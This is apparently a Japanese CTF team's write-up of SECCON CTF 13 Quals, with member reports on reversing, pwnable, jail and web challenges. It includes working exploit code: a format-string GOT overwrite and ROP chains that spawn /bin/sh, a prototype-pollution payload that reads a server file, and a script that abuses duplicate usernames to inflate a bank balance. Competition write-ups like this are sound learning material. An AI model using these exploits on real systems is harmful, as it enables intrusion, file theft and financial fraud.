こんにちは。CTF部部長のzeosuttです。
弊社のCTFチームspookiesは、2024/11/23-24に開催されたSECCON CTF 13 Qualsに参加しました。
結果は全体47位、国内15位でした。
以下、各メンバーの参加記まとめです。
zeosutt
writeup
[reversing] packed (119 solves)
UPXでpackされたバイナリです。
みーさんの解析により、unpack後のバイナリにはおそらくフラグがないことが分かったため、元のバイナリを見ることにしました。
GDBで起動し、フラグの入力待ちになったタイミングで止め、付近のコードを確認すると以下の通りです。
(gdb) r Starting program: /tmp/SECCON/packed/a.out FLAG: ^C Program received signal SIGINT, Interrupt. 0x000000000044ee1f in ?? () (gdb) x/18i $rip-0x10 0x44ee0f: push %rsp 0x44ee10: pop %rsi 0x44ee11: mov $0x80,%edx 0x44ee16: sub %rdx,%rsi 0x44ee19: xor %edi,%edi 0x44ee1b: xor %eax,%eax 0x44ee1d: syscall => 0x44ee1f: cmp $0x31,%eax 0x44ee22: jne 0x44eec3 0x44ee28: mov %eax,%ecx 0x44ee2a: pop %rdx 0x44ee2b: pop %rsi 0x44ee2c: lea -0x90(%rsp),%rdi 0x44ee34: lods %ds:(%rsi),%al 0x44ee35: xor %al,(%rdi) 0x44ee37: inc %rdi 0x44ee3a: loopne 0x44ee34 0x44ee3c: call 0x44ee72
スタックに入力を読み込んだ後、読み込んだバイト数が 0x31
であれば、入力と謎のバイト列Aをxorし、 0x44ee72
をcallしています。
0x44ee72
は以下の通りです。
(gdb) x/11i 0x44ee72 0x44ee72: mov $0x31,%ecx 0x44ee77: pop %rsi 0x44ee78: lea -0x90(%rsp),%rdi 0x44ee80: xor %edx,%edx 0x44ee82: lods %ds:(%rsi),%al 0x44ee83: cmp %al,(%rdi) 0x44ee85: setne %al 0x44ee88: or %al,%dl 0x44ee8a: inc %rdi 0x44ee8d: loopne 0x44ee82 0x44ee8f: test %edx,%edx
先ほどの処理を考慮すると、「入力と謎のバイト列Aをxorしたものが、謎のバイト列Bと等しいか」を確認しています。
等しいときの入力がフラグだろうと推測できますね。
バイト列Aは、例えば 0x44ee2c
時点でrsiが指す先を表示すれば得られます。
(gdb) b *0x44ee2c Breakpoint 1 at 0x44ee2c (gdb) c Continuing. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, 0x000000000044ee2c in ?? () (gdb) x/49xb $rsi 0x7ffff7ff7f14: 0xe8 0x4a 0x00 0x00 0x00 0x83 0xf9 0x49 0x7ffff7ff7f1c: 0x75 0x44 0x53 0x57 0x48 0x8d 0x4c 0x37 0x7ffff7ff7f24: 0xfd 0x5e 0x56 0x5b 0xeb 0x2f 0x48 0x39 0x7ffff7ff7f2c: 0xce 0x73 0x32 0x56 0x5e 0xac 0x3c 0x80 0x7ffff7ff7f34: 0x72 0x0a 0x3c 0x8f 0x77 0x06 0x80 0x7e 0x7ffff7ff7f3c: 0xfe 0x0f 0x74 0x06 0x2c 0xe8 0x3c 0x01 0x7ffff7ff7f44: 0x77
バイト列Bも同様に取り出せば、あとはxorして終わりです。
from pwn import * key = b'\xe8\x4a\x00\x00\x00\x83\xf9\x49\x75\x44\x53\x57\x48\x8d\x4c\x37\xfd\x5e\x56\x5b\xeb\x2f\x48\x39\xce\x73\x32\x56\x5e\xac\x3c\x80\x72\x0a\x3c\x8f\x77\x06\x80\x7e\xfe\x0f\x74\x06\x2c\xe8\x3c\x01\x77' ct = b'\xbb\x0f\x43\x43\x4f\xcd\x82\x1c\x25\x1c\x0c\x24\x7f\xf8\x2e\x68\xcc\x2d\x09\x3a\xb4\x48\x78\x56\xaa\x2c\x42\x3a\x6a\xcf\x0f\xdf\x14\x3a\x4e\xd0\x1f\x37\xe4\x17\x90\x39\x2b\x65\x1c\x8c\x0f\x7c\x7d' print(xor(key, ct))
SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}
loop(今回はloopneでしたが)、SECCON 2018決勝のアセンブリコードゴルフで知って以来、初めて見た気がします。
気付いていなかっただけかもしれませんが。
[pwnable] Paragraph (61 solves)
ソースコードは以下の通りです。シンプル。
#include <stdio.h> int main() { char name[24]; setbuf(stdin, NULL); setbuf(stdout, NULL); printf("\"What is your name?\", the black cat asked.\n"); scanf("%23s", name); printf(name); printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name); return 0; }
FSBがあるものの、23バイトの入力制限があるため、2バイト書く程度しかできません。
さすがにこれだけでは「リークしつつ main()
を再実行」のようなことは不可能です。
checksecの結果は以下の通りです。
$ checksec --file=chall RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 68 Symbols No 0 1 chall
Partial RELROかつNo PIEなので、上記FSBでGOT overwriteが可能です。
ちょうど、FSBがある printf()
の直後の printf()
が、「 printf@got
を scanf
に書き換えてくれ」と訴えていますね。
前述の通り2バイトしか書き換えられませんが、幸い、今回のlibcにおける printf
のオフセットと scanf
のオフセットは、下位2バイトを除いて同じです。
$ nm -D libc.so.6 | grep -E ' (printf|scanf)\b' 00000000000600f0 T printf@@GLIBC_2.2.5 0000000000066290 T scanf@@GLIBC_2.2.5
そのため、1/16の確率で printf@got
を scanf
に書き換えることができます。
No canary foundも踏まえると、これで自由にROPできるようになりました。
次はどうやってrdiを制御するかですが、ありがたいことに問題バイナリはglibc 2.31の環境でビルドされているため、 __libc_csu_init()
が存在します。
あとはやるだけです。
from pwn import * context.arch = 'amd64' target = ELF('chall') POP_RDI = next(target.search(asm('pop rdi; ret'), executable=True)) RET = next(target.search(asm('ret'), executable=True)) libc = ELF('libc.so.6') BIN_SH = next(libc.search(b'/bin/sh')) while True: try: # with target.process() as r: with remote('paragraph.seccon.games', 5000) as r: payload = b'' payload += f'%{libc.symbols['scanf'] & 0xffff}c%8$hn'.encode() payload += b'A' * (0x10 - len(payload)) payload += p64(target.got['printf'])[:7] assert len(payload) == 23 r.sendafter(b'the black cat asked.\n', payload) payload = b'' payload += b'answered, a bit confused. "Welcome to SECCON," the cat greeted ' payload += b'A' * 0x28 payload += p64(POP_RDI) + p64(target.got['puts']) payload += p64(target.plt['puts']) payload += p64(target.symbols['main']) payload += b'warmly. hoge' r.sendlineafter(p64(target.got['printf'])[:3], payload) LIBC_BASE = u64(r.recv(6).ljust(8, b'\x00')) - libc.symbols['puts'] r.recvuntil(b'the black cat asked.\n') print(hex(LIBC_BASE)) payload = b'' payload += b'answered, a bit confused. "Welcome to SECCON," the cat greeted ' payload += b'A' * 0x28 payload += p64(POP_RDI) + p64(LIBC_BASE + BIN_SH) payload += p64(RET) payload += p64(LIBC_BASE + libc.symbols['system']) payload += b'warmly. hoge' r.sendline(payload) r.interactive() break except EOFError: pass
SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}
ビルド環境と実行環境を別にするという発想がなかったので、「glibc 2.39なのに __libc_csu_init()
がある!?」とかなり驚きました。
[pwnable] Make ROP Great Again (37 solves)
ソースコードは以下の通りです。非常にシンプル。
int main(void){ char buf[0x10]; show_prompt(); gets(buf); return 0; } void show_prompt(void){ puts(">"); }
また、checksecの結果は以下の通りです。
$ checksec --file=chall RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 40 Symbols No 0 1 chall
去年の rop-2.35 と似ていますが、今回は system()
の代わりに puts()
が呼ばれています。
つまり、libcのアドレスをリークしろということですね。
rdiが自由に制御できれば即終了ですが、先ほどの Paragraph とは異なり普通にglibc 2.39の環境でビルドされているため、とても自由に制御できるとは思えません。
そんなわけで、いい感じのROPガジェットを探します。
まず、 mov edi, 0x404010; jmp rax
のガジェットに着目します。
0x404010
は &stdout
なので、raxを puts@plt
にしてからこれを利用すれば、libcのアドレスをリークできます。
raxを一発で任意の値にできるガジェットはありませんが、 add eax, 0x2ecb; add [rbp-0x3d], ebx; nop; ret
のガジェットを利用すれば、一度に 0x2ecb
ずつ加算していくことができます。
あとは、raxに puts@plt % 0x2ecb
を代入(または加算)できればOKです。
rop-2.35 では、 gets()
から返った直後のrdiに &_IO_stdfile_0_lock
が入っていることを利用しましたが、これはglibc 2.39でも同様です。
したがって、 gets()
-> gets()
-> puts()
と連続で呼ぶことで、小さい値であればraxを任意に制御できます。
以上でlibcのアドレスのリークまではできますが、 gets()
-> gets()
で愚直に _IO_stdfile_0_lock
を書き換えていた場合、リーク後の gets()
でロックを取得しようと永遠に待ち続けてしまいます。
そのため、 add dil, dil; loopne 0x401155; nop; ret
( 0x401155
は inc esi; add eax, 0x2ecb; add [rbp-0x3d], ebx; nop; ret
)のガジェットにより、書き込み先をずらす必要があります。
あとはやるだけです。
import subprocess from pwn import * context.arch = 'amd64' target = ELF('chall') ADD_DIL_DIL = 0x4010ea ADD_EAX_2ECB = next(target.search(asm('add eax, 0x2ecb; add [rbp-0x3d], ebx; nop; ret'), executable=True)) MOV_EDI_STDOUT_JMP_RAX = next(target.search(asm('mov edi, 0x404010; jmp rax'), executable=True)) RET = next(target.search(asm('ret'), executable=True)) # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc = ELF('libc.so.6') POP_RDI = next(libc.search(asm('pop rdi; ret'), executable=True)) BIN_SH = next(libc.search(b'/bin/sh')) while True: try: # with target.process() as r: # with remote('localhost', 7428) as r: with remote('mrga.seccon.games', 7428) as r: r.recvline() r.send(subprocess.run(r.recvline(), shell=True, capture_output=True).stdout) payload = b'' payload += b'A' * 0x10 payload += p64(target.bss(0x100)) payload += p64(ADD_DIL_DIL) payload += p64(target.plt['gets']) payload += p64(ADD_DIL_DIL) payload += p64(target.plt['puts']) payload += p64(ADD_EAX_2ECB) * (target.plt['puts'] // 0x2ecb) payload += p64(MOV_EDI_STDOUT_JMP_RAX) payload += p64(target.symbols['main']) r.sendlineafter(b'>\n', payload) r.sendline(b'A' * (target.plt['puts'] % 0x2ecb - 1)) r.recvline() LIBC_BASE = u64(r.recv(6).ljust(8, b'\x00')) - libc.symbols['_IO_2_1_stdout_'] print(hex(LIBC_BASE)) payload = b'' payload += b'A' * 0x18 payload += p64(LIBC_BASE + POP_RDI) + p64(LIBC_BASE + BIN_SH) payload += p64(RET) payload += p64(LIBC_BASE + libc.symbols['system']) r.sendlineafter(b'>\n', payload) r.interactive() break except EOFError: pass
SECCON{53771n6_rd1_w17h_6375_m4k35_r0p_6r347_4641n}
しんどいROPでしたが楽しかったです。ROPに無限の可能性を感じました。
[jail] pp4 (41 solves)
文字種数4以内のJSコードを実行してくれるサービスです。
実行前に、JSONで表現可能な範囲(配列を除く)で {}
のプロトタイプを汚染させてくれます。
[].constructor.constructor(コード)()
の形で任意コードを実行することを目指します。
まず、 []
を ToPropertyKey()
すると ""
になります。
そのため、 ({}).__proto__[""]
を "constructor"
にしておくと、 [][[]]
で "constructor"
、 [][[][[]]][[][[]]]
で [].constructor.constructor
を作れます。
次に、 [].constructor.constructor()()
は undefined
であり、これを ToPropertyKey()
すると "undefined"
になります。
そのため、 ({}).__proto__["undefined"]
を好きな文字列にしておくと、 [][[][[][[]]][[][[]]]()()]
でその文字列を作れます。
以上より、 [][[][[]]][[][[]]]([][[][[][[]]][[][[]]]()()])()
で任意コードを実行できます。
$ nc pp4.seccon.games 5000 Input JSON: {"__proto__": {"": "constructor", "undefined": "return process.mainModule.require('fs').readFileSync('/flag-1863aa693df962ff8433c6b227d63dc0.txt').toString()"}} {} Input code: [][[][[]]][[][[]]]([][[][[][[]]][[][[]]]()()])() SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game}
SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game}
``
で関数を呼べば3種で行けるのではと思いましたが、 [][[][[][[]]][[][[]]]````]
で作った文字列を [].constructor.constructor
の引数にすることができませんでした。残念。
感想
ダメダメっすね...
去年は国内11位、しかも10位(予選通過ボーダー)とたったの3点差という非常に悔しい結果に終わった(その後奇跡的に予選通過)わけですが、今年は15位。惜しくもなんともない。
まだまだ精進が足りないようです。出直してきます。
結果は置いておくとして、今年もたくさんの良質な問題に取り組むことができ、とても楽しく幸せな時間を過ごせました。
運営、作問の皆様、ありがとうございました。
余談
去年の参加記 と今年の参加記のトップ画像を見比べると、あることに気付きます。
そう、全体順位がどちらも47/653なんです。初め、間違えて去年の画像を貼っちゃったのかと勘違いしました。
凄い偶然があるもんだなあ、と。
mi-san
ビギナーでないCTFには初参加、そして久しぶりのCTF参加と若干壁がありましたが、ひとまず参加!1問解くことすらできずでしたが学びのある時間を過ごせたと思います。
reversingのpackedに取り組みました。そのまま実行できなかったのでunpackしてみると実行ができるように。(どうやらunpackせずとも実行ができた? 自分の環境がMacだったので、仮想環境を先に立てておくべきだったと後々痛感...。)その後Ghidraを使ってアセンブリと睨めっこ。Ghidra自分で使うのは初めてだったので良い経験になりました。しかしなんとunpack後のコードを分析するのには意味がなく、unpack前のコードを分析するべきだったようです。苦戦していたらダルさんがサクッと解いてくれました(丁寧に解説してくれました感謝)。さすが我が部長...!
hiraoka
[web] Trillion Bank (84 solves)
- TEXT型の最大長65535バイトを超えるnameで登録することで、同一nameのユーザーを作成することができる
- ただし、サーバーサイドで使用しているユーザー名チェックにはjsのSetで保持されたものが使用されるところがある
- こちらはもちろん、特に最大長の制限はない
- 同一nameのユーザーから送金した場合、自身の口座からは残高が減らない
- 同一nameとなるユーザーをたくさん作って、送金を行なっていくと、倍々で残高を増やしていくことが可能
import requests import random import string def random_name(n): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n)) BASE_URL = "http://trillion.seccon.games:3000/" # BASE_URL = "http://localhost:3000/" # クライアント(受金側)のセッション client = requests.Session() client_db_name = random_name(65535) client_name = client_db_name # クライアント:登録 response = client.post(f"{BASE_URL}/api/register", json={"name": client_name}) if response.status_code == 200: print("Client 1 registered:", response.json()) else: print("Client 1 registration failed:", response.text) evil_clients = [] amount = 10 # evilクライアント達の登録 # 37クライアントでの不正ブロードキャスト送金で1trillion達成 for i in range(37): evil_client = requests.Session() evil_client_name = client_db_name + f'evil{i}' response = evil_client.post(f"{BASE_URL}/api/register", json={"name": evil_client_name}) if response.status_code == 200: print(f"Evil Client {i} registered:", response.json()) evil_clients.append(evil_client) else: print(f"Evil Client {i} registration failed:", response.text) for i, evil_client in enumerate(evil_clients): response = evil_client.post(f"{BASE_URL}/api/transfer", json={ "recipientName": client_name, # 送金先 "amount": str(amount) # 送金額 }) if response.status_code == 200: print(f"Transfer successful by evil{i}:", response.json()) else: print(f"Transfer failed:", response.text) amount *= 2 # クライアント: フラグ確認 response = client.get(f"{BASE_URL}/api/me") if response.status_code == 200: print("Client data:", response.json()) else: print("Failed to fetch client data:", response.text)
chururi
[rev] Jump (118pt, 69 Solves)
- Ghidra でデコンパイルするとフラグの検証コードが出てくる
- フラグを 4 文字ずつに区切ってその塊で検証をしているっぽい
- 前半 4 ブロックと後半 4 ブロックとで検証アルゴリズムが異なり、1 ブロックに 1 つ検証関数が存在している
- 前半は単純比較
- 例えば次のようなコード:
param_1
は入力文字列の 1 ブロック分の文字 - シンプルに
0x336b3468
を ASCII に変換することで3k4h
という文字列が得られる - リトルエンディアンなので、逆にして
h4k3
- 残りの 3 つの関数にも同じ作業を適用することで
_1t_
ON{5
SECC
が得られる - これらのブロックをよしなに組み替えて(本当はデコンパイル結果から組み換え方法がわかるはずだが不明だった)
SECCON{5hake_1t_
まで分かる
- 例えば次のようなコード:
- 後半の検証は少しひねる
- 例えば次のよう
param_1
は入力文字列全体、DAT_00412038
はオフセットを指しているっぽいint *
にキャストすることで入力文字列から 4 バイト分、すなわち 4 文字を切り出していると見る- 更に
-4
でオフセットを 4 つ前にずらしていることから、1 つ前のブロックを参照していることに気がつく - このことから n 番目と n - 1 番目のブロックの和を取って検証していると分かる
- 前述のようにどの順番でブロックを検証しているかが分からなかったので、まず 4 つの検証関数の
==
演算子の右辺の数値と前半の 4 番目のブロックの数値との差をそれぞれ取り、その数値が ASCII 的に妥当になったものを 5 番目のブロックの検証関数とみなす- 左辺は和を取っているのにもかかわらず右辺の数値が
-
になっているのはオーバーフローしているから
- 左辺は和を取っているのにもかかわらず右辺の数値が
- 6 番目からは後半ブロック内で頑張って計算していく
- この作業で
hk3}
up_5
-5h5
h-5h
が得られ、例によってよしなに組み替えてup_5h-5h-5h5hk3}
が得られる
- 前半の文字列と結合して
SECCON{5h4k3_1t_up_5h-5h-5h5hk3}
が得られた
感想
1 年ぶり 2 回目の SECCON 予選参加となりました。残念ながら、今年はあまりいい結果を得られたとは言いづらいですが、それでも今年は 1 問解くことができ成長が見られました(昨年は 1 問も解けずでした...)。その一方、普段 Web の開発をしているのにも関わらず Web 問を解けなかったのには一抹の悔しさが残っています。CTF は技術の楽しさを最大限に引き出してくれるものなので、来年に向けても楽しみながら腕を磨いていきたいと思います。
nishizuka
毎回ちょっとだけ参加して、全然解けずに反省して、奮起を誓うことを繰り返している西塚です。
メンバーが優秀になってきているのもあって、それに甘えて日々の練習ができていません。
とはいえ、なんか色々と忙しいのです。
英語と同じく、コツコツが大事なので、やります。ハイ。